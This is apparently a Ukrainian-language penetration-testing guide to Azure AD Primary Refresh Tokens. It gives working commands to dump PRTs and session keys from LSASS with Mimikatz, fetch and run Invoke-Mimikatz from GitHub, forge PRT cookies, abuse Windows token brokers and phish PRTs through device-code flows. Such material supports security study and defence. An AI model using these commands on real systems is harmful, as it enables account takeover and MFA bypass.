Az - Primary Refresh Token (PRT)

Reading time: 18 minutes

Що таке Primary Refresh Token (PRT)?

Primary Refresh Token (PRT) - це токен оновлення з тривалим терміном дії, який використовується в аутентифікації Azure AD (Entra ID), аналогічний Kerberos TGT. Він видається під час входу користувача на пристрій, приєднаний до Azure AD, і може використовуватися для запиту токенів доступу для різних додатків без повторного запиту облікових даних. Кожен PRT супроводжується ключем сесії (також званим ключем доказу володіння) - симетричним ключем, який використовується для підписання запитів і доведення того, що клієнт має PRT. Сам PRT є непрозорим, зашифрованим об'єктом (нечитаним клієнтом), тоді як ключ сесії використовується для підписання JWT, що містить PRT під час запиту токенів. Іншими словами, володіння лише PRT недостатньо; зловмисник потребує ключа сесії, щоб довести легітимність, подібно до того, як потрібно мати як Kerberos TGT, так і його ключ сесії для аутентифікації.

На Windows PRT і ключ сесії кешуються в процесі LSASS через плагін CloudAP. Якщо пристрій має TPM (модуль безпечної платформи), Azure AD прив'язує ключі до TPM для додаткової безпеки. Це означає, що на пристроях з TPM ключ сесії зберігається або використовується в межах TPM так, що його не можна безпосередньо прочитати з пам'яті за звичайних обставин. Якщо TPM недоступний (наприклад, багато віртуальних машин або старі системи), ключі зберігаються в програмному забезпеченні та захищені шифруванням DPAPI. У обох випадках зловмисник з адміністративними привілеями або виконанням коду на машині може спробувати вивантажити PRT і ключ сесії з пам'яті в рамках пост-експлуатації, а потім використовувати їх для видавання себе за користувача в хмарі. На відміну від звичайних токенів оновлення (які зазвичай специфічні для додатка), PRT є більш широким, дозволяючи вашому пристрою запитувати токени для майже будь-якого ресурсу або служби, інтегрованої з Entra ID.

Як працює PRT?

Ось спрощене пояснення того, як працює PRT:

1. Реєстрація пристрою:

• Коли ваш пристрій (наприклад, ноутбук на Windows або мобільний телефон) приєднується або реєструється в Entra ID, він аутентифікується за допомогою ваших облікових даних (ім'я користувача/пароль/MFA).

• Після успішної аутентифікації Entra ID видає PRT, прив'язаний конкретно до вашого пристрою.

2. Зберігання токенів:

• PRT надійно зберігається на вашому пристрої, часто захищений апаратними функціями, такими як модуль безпечної платформи (TPM), що забезпечує складність для несанкціонованих осіб витягти або зловживати ним.

3. Єдине входження (SSO):

• Щоразу, коли ви отримуєте доступ до програми, захищеної Entra ID (наприклад, програми Microsoft 365, SharePoint, Teams), ваш пристрій безшумно використовує збережений PRT для запиту та отримання конкретного токена доступу для цього додатка.

• Вам не потрібно повторно вводити свої облікові дані, оскільки PRT прозоро обробляє аутентифікацію.

4. Оновлення та безпека:

• PRT мають тривалий термін дії (зазвичай близько 14 днів), але постійно оновлюються, поки ваш пристрій активно використовується.

• Якщо ваш пристрій стає скомпрометованим або втраченим, адміністратори можуть віддалено відкликати ваш PRT, негайно блокуючи несанкціонований доступ.

Чому PRT потужні?

• Універсальний доступ: На відміну від звичайних токенів, обмежених одним додатком або ресурсом, PRT може полегшити доступ до всіх служб, інтегрованих з Entra ID.

• Покращена безпека: Завдяки вбудованим апаратним захистам (таким як TPM) PRT забезпечують безпечне зберігання та використання токенів.

• Досвід користувача: PRT значно покращують досвід користувача, зменшуючи часті запити на аутентифікацію та забезпечуючи справжнє безперервне SSO.

Як дізнатися, чи присутній PRT?

• Перевірте, чи присутній PRT:

# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES

• Перевірте, чи захищено TPM:

Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Передача PRT

Згідно з цією публікацією на пристроях Windows без прив'язки до TPM, PRT та його ключ сесії знаходяться в LSASS (плагін CloudAP). Маючи локальні права адміністратора/SYSTEM на цьому пристрої, PRT blob та ключ сесії, зашифрований DPAPI, можна зчитати з LSASS, розшифрувати ключ сесії за допомогою DPAPI та отримати підписний ключ для створення дійсного PRT cookie (x‑ms‑RefreshTokenCredential). Вам потрібні як PRT, так і його ключ сесії — рядка PRT недостатньо.

Mimikatz

1. PRT (Primary Refresh Token) витягується з LSASS (Служба підсистеми локальної безпеки) та зберігається для подальшого використання.
2. Ключ сесії витягується наступним. Оскільки цей ключ спочатку видається, а потім повторно шифрується локальним пристроєм, його необхідно розшифрувати за допомогою майстер-ключа DPAPI. Докладну інформацію про DPAPI (API захисту даних) можна знайти в цих ресурсах: HackTricks, а для розуміння його застосування зверніться до атаки Pass-the-cookie.
3. Після розшифровки ключа сесії, отримуються похідний ключ та контекст для PRT. Вони є критично важливими для створення PRT cookie. Зокрема, похідний ключ використовується для підписання JWT (JSON Web Token), що складає cookie. Докладне пояснення цього процесу надав Дірк-ян, доступне тут.

privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Поле PRT містить зашифрований токен оновлення (зазвичай рядок base64), а KeyValue в ProofOfPossessionKey є зашифрованим за допомогою DPAPI сеансовим ключем (також base64).

Потім, з виходу sekurlsa::cloudap, скопіюйте blob base64 з KeyValue всередині поля ProofOfPossessionKey (це сеансовий ключ, зашифрований за допомогою DPAPI). Цей зашифрований ключ не може бути використаний у такому вигляді – його потрібно розшифрувати, використовуючи облікові дані DPAPI системи.

Оскільки шифрування DPAPI для системних секретів вимагає контексту системи машини, підніміть свій токен до SYSTEM і використовуйте модуль DPAPI Mimikatz для розшифровки:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

token::elevate буде імплементувати SYSTEM, а команда dpapi::cloudapkd з параметром /unprotect використає майстер-ключ DPAPI для розшифрування наданого KeyValue блобу. Це дає відкритий текст сесійного ключа, а також пов'язаний похідний ключ і контекст, використані для підпису:

• Clear key – 32-байтовий сесійний ключ у відкритому тексті (представлений у вигляді шістнадцяткового рядка).
• Derived Key – 32-байтовий ключ, похідний від сесійного ключа та значення контексту (більше про це нижче).
• Context – 24-байтовий випадковий контекст, який використовувався під час отримання підписного ключа для PRT cookie.

Тоді ви також можете використовувати mimikatz для генерації дійсного PRT cookie:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz виведе підписаний JWT (кукі PRT) після рядка “Signature with key”, який містить PRT і підписаний за допомогою похідного ключа. Цей JWT можна скопіювати і використовувати в веб-сесії. Наприклад, зловмисник може відкрити браузер, перейти на login.microsoftonline.com і встановити кукі з назвою x-ms-RefreshTokenCredential зі значенням цього JWT. Коли браузер оновлюється або переходить, Azure AD буде вважати сесію автентифікованою (кукі PRT подається так, ніби відбулося SSO), і він видасть код авторизації або токен доступу для вказаного ресурсу. На практиці, можна перейти до ресурсу, як-от Office 365 або Azure portal; наявність дійсного кукі PRT означає, що Azure AD надасть доступ без додаткового входу (обминаючи MFA, оскільки PRT вже автентифікований).

Ви також можете використовувати roadtx і roadrecon з PRT кукі, щоб видавати себе за користувача (TODO: Знайти точні команди для використання roadtx/roadrecon для отримання облікових даних з PRT).

Mimikatz + AADInternals

Модуль PowerShell AADInternals також можна використовувати з раніше отриманим PRT і ключем сесії для генерації дійсного токена PRT. Це корисно для автоматизації процесу отримання нового токена PRT з nonce, який можна використовувати для отримання токенів доступу для Azure AD Graph API або інших ресурсів:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Це отримує новий PRT cookie (з nonce) і потім використовує його для отримання токена доступу для Azure AD Graph API (демонструючи доступ до хмари від імені користувача). AADInternals абстрагує більшість криптографії та використовує компоненти Windows або свою власну логіку під капотом.

Mimikatz + roadtx

• Спочатку оновіть PRT, який буде збережено в roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>

• Тепер ми можемо запитувати токени за допомогою інтерактивного браузера з roadtx browserprtauth. Якщо ми використаємо команду roadtx describe, ми побачимо, що токен доступу містить вимогу MFA, оскільки PRT, який я використав у цьому випадку, також мав вимогу MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Маючи контекст і витягнутий ключ, отриманий за допомогою mimikatz, можна використовувати roadrecon для генерації нового підписаного cookie з:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Зловживання захищеними PRT

Незважаючи на згадані захисти, зловмисник, який вже скомпрометував пристрій (як локальний користувач або навіть SYSTEM), все ще може зловживати PRT для отримання нових токенів доступу, використовуючи власні API брокера токенів і компоненти безпеки Windows. Замість екстракції сирого PRT або ключа, зловмисник фактично "просить" Windows використовувати PRT від їхнього імені. У наступних розділах ми окреслюємо актуальні техніки зловживання PRT та їхніми сесійними ключами на сучасних пристроях Windows, де діють захисти TPM. Усі ці техніки передбачають доступ після експлуатації на цільовій машині та зосереджуються на зловживанні вбудованими потоками аутентифікації (не потрібні непатчовані вразливості).

Архітектура брокера токенів Windows та потік SSO

Сучасний Windows обробляє хмарну аутентифікацію через вбудований стек брокера токенів, який включає компоненти як в режимі користувача, так і в LSASS (Локальний орган безпеки). Ключові елементи цієї архітектури включають:

• Плагін CloudAP LSASS: Коли пристрій приєднано до Azure AD, LSASS завантажує пакети аутентифікації в хмарі (наприклад, CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll), які керують PRT та запитами токенів. LSASS (який працює як SYSTEM) організовує зберігання, оновлення та використання PRT, а також взаємодіє з TPM для виконання криптографічних операцій (наприклад, підписання виклику PRT за допомогою сесійного ключа).

• Менеджер облікових записів вебу (WAM): Менеджер облікових записів вебу Windows є фреймворком режиму користувача (доступним через API COM/WinRT), який дозволяє додаткам або браузерам запитувати токени для хмарних облікових записів без запиту облікових даних. WAM діє як брокер між користувацькими додатками та захищеним PRT, підтримуваним LSASS/TPM. Наприклад, бібліотека MSAL від Microsoft та певні компоненти ОС використовують WAM для безшумного отримання токенів, використовуючи PRT увійшовшого користувача.

• BrowserCore.exe та інтерфейси COM брокера токенів: Для SSO в браузері Windows включає компонент під назвою BrowserCore.exe (розташований у Windows Security\BrowserCore). Це рідний хост повідомлень, який використовують браузери (Edge, Chrome через розширення тощо) для отримання токена SSO, похідного від PRT, для входу в Azure AD. У фоновому режимі BrowserCore використовує об'єкт COM, наданий MicrosoftAccountTokenProvider.dll, для отримання cookie/token на основі PRT. По суті, цей інтерфейс COM є API "брокера токенів" першої сторони, до якого може звертатися будь-який процес, що працює від імені користувача, щоб отримати токен SSO (за умови, що у користувача є дійсний PRT в LSASS).

Коли користувач, приєднаний до Azure AD, намагається отримати доступ до ресурсу (скажімо, Azure Portal), потік зазвичай виглядає так: додаток викликає WAM або інтерфейс COM BrowserCore, який, у свою чергу, взаємодіє з LSASS. LSASS використовує PRT та сесійний ключ (захищений TPM), щоб створити токен SSO -- часто називається cookie PRT -- який потім повертається додатку або браузеру. Cookie PRT є спеціальним JWT, що містить зашифрований PRT та nonce, підписаний ключем, отриманим з сесійного ключа PRT. Цей cookie надсилається до Azure AD (в заголовку x-ms-RefreshTokenCredential), щоб підтвердити, що пристрій і користувач мають дійсний PRT, що дозволяє Azure AD видавати стандартні токени оновлення та доступу OAuth для різних додатків. Важливо, що будь-яке твердження про багатофакторну аутентифікацію (MFA), присутнє в PRT, буде перенесено в токени, отримані через цей процес SSO, що означає, що токени, похідні від PRT, можуть задовольняти ресурси, захищені MFA.

Крадіжка токенів на рівні користувача (не адміністратор)

Коли зловмисник має виконання коду на рівні користувача, захист TPM PRT не заважає зловмиснику отримувати токени. Зловмисник використовує вбудовані API брокера токенів Windows:

BrowserCore (COM MicrosoftAccountTokenProvider)

BrowserCore надає клас COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) для отримання cookie PRT. Цей API COM легітимно викликається браузерами (розширеннями Chrome/Edge) для SSO Azure AD.

• RequestAADRefreshToken

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Повертає токен оновлення Azure AD або cookie PRT)

• ROADtoken & ROADtools

ROADtoken запустить BrowserCore.exe з правильного каталогу і використає його для отримання cookie PRT. Цю cookie можна потім використовувати з ROADtools для автентифікації та отримання постійного токена оновлення.

Щоб згенерувати дійсну cookie PRT, перше, що вам потрібно, це nonce.
Ви можете отримати це за допомогою:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Або використовуючи roadrecon:

roadrecon auth prt-init

Тоді ви можете використовувати roadtoken, щоб отримати новий PRT (запустіть інструмент з процесу користувача для атаки):

.\ROADtoken.exe <nonce>

Як однорядковий:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Тоді ви можете використовувати згенероване cookie для генерації токенів для входу за допомогою Azure AD Graph або Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Зловмисники використовують легітимні бібліотеки аутентифікації Microsoft (MSAL, WAM APIs, WebAuthenticationCoreManager) з процесів на рівні користувача, щоб безшумно отримувати токени, використовуючи PRT, захищений TPM.

• aadprt

execute-assembly aadprt.exe

(Отримує PRT cookie через COM інтерфейси)

• listwamaccounts

execute-assembly listwamaccounts.exe

(Перелік облікових записів Azure AD, які увійшли через WAM; визначає цільові токени)

• Загальний приклад (PowerShell з MSAL):

$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Тихо отримує токен доступу, використовуючи PRT)

Зловживання токеном рівня адміністратора / SYSTEM

Якщо зловмисник підвищує свої привілеї до Адміністратора або SYSTEM, він може безпосередньо видавати себе за будь-якого користувача, що увійшов в Azure AD, і використовувати ті ж COM/WAM token broker APIs. PRT, захищені TPM, не запобігають цьому законному випуску токенів.

Видавання себе за користувача та отримання токена

Адміністратор/SYSTEM може видавати себе за активні сесії інших користувачів, щоб викликати BrowserCore або WAM для генерації токенів.

Для цього просто видайте себе за процес користувача (наприклад, explorer.exe) і викликайте API токен-брокера, використовуючи будь-яку техніку, описану в попередньому розділі.

Пряме взаємодія з LSASS та токен-брокером (просунуто)

Адміністратор все ще може працювати з LSASS, щоб зловживати PRT: наприклад, адміністратор може впровадити код у LSASS або викликати внутрішні функції CloudAP, щоб змусити LSASS створити токен. Дослідження Дірка-Яна зазначило, що адміністратор може “взаємодіяти з ключами PRT у LSASS, використовуючи крипто API”. На практиці це може означати використання власних функцій LSASS (через техніку, таку як API hooking або RPC, якщо доступно) для генерації cookie PRT. Інший підхід полягає в експлуатації будь-якого вікна, де ключ сесії може з'явитися в пам'яті – наприклад, в момент оновлення PRT або реєстрації пристрою, коли він не зашифрований для використання. Такі атаки значно складніші та ситуаційні. Простішою тактикою адміністратора є зловживання існуючими дескрипторами токенів або кешами: LSASS кешує нещодавно видані токени оновлення для додатків у пам'яті (зашифровані за допомогою DPAPI). Визначений зловмисник SYSTEM може спробувати витягти ці токени, захищені DPAPI (використовуючи майстер-ключ користувача, який може отримати адміністратор), щоб безпосередньо вкрасти токени оновлення для конкретних додатків. Однак найпростіший і найбільш загальний метод залишається видаванням себе за користувача та використанням задокументованих інтерфейсів токен-брокера, оскільки це гарантує, що Azure AD видасть свіжі токени (з усіма належними вимогами), а не намагатися зламати шифрування.

Фішинг PRT

Зловживайте потоком OAuth Device Code, використовуючи ідентифікатор клієнта Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) та ресурс Device Registration Service (DRS), щоб отримати токен оновлення, який можна оновити до первинного токена оновлення (PRT) після реєстрації шкідливого пристрою.

Чому це працює

• PRT є прив'язаним до пристрою і забезпечує SSO для (майже) будь-якого додатку, захищеного Entra.
• Комбінація Broker client + DRS дозволяє фішинговому токену оновлення бути обміняним на PRT після реєстрації пристрою.
• MFA не обходиться: користувач виконує MFA під час фішингу; вимоги MFA поширюються на отриманий PRT, дозволяючи зловмиснику отримувати доступ до додатків без подальших запитів.

Передумови:

• Аутентифікація користувача через Device Code з використанням ідентифікатора клієнта Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) та областей/ресурсів DRS (наприклад, 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default або https://enrollment.manage.microsoft.com/).
• Користувач може реєструвати пристрої в Entra ID (за замовчуванням: дозволено, але може бути обмежено або обмежено за квотою).
• Відсутність блокуючих політик CA, які відключають Device Code або вимагають відповідні/гібридні пристрої для цільових додатків (вони не зупинять випуск PRT, але зупинять використання його для доступу до захищених додатків).
• Хост, контрольований зловмисником, для запуску потоку та зберігання токенів/ключів пристрою.

Потік атаки:

1. Ініціюйте аутентифікацію Device Code з client_id = Broker та областю/ресурсом DRS; покажіть код користувача жертві.

curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

2. Жертва входить на сайт Microsoft (легітимний інтерфейс) і завершує MFA → зловмисник отримує токен оновлення з обмеженням DRS для клієнта Broker.

3. Зареєструвати підозрілий пристрій в орендарі, використовуючи цей токен оновлення (об'єкт пристрою створюється і пов'язується з жертвою).

4. Оновити до PRT шляхом обміну токена оновлення + ідентичності/ключів пристрою → PRT прив'язується до пристрою зловмисника.

5. (Додаткова стійкість): якщо MFA була свіжою, зареєструвати ключ Windows Hello for Business для підтримки довгострокового, безпарольного доступу.

6. Зловживання: обміняти PRT (або створити PRT cookie) для отримання токенів доступу для Exchange/Graph/SharePoint/Teams/кастомних додатків від імені користувача.

Публічні інструменти та концепції

• ROADtools/ROADtx: Автоматизує OAuth потік, реєстрацію пристроїв та оновлення токенів.
• DeviceCode2WinHello: Скрипт з одною командою, що автоматизує фішинг коду пристрою до PRT+WHfB ключів.

Посилання

• Блоговий пост Діркяна про PRT
• Пост Діркяна про фішинг PRT
• Пост Діркяна про зловживання PRT
• Пост SpecterOps про Запит токенів Azure AD
• Пост AADInternals про PRT
• blog.3or.de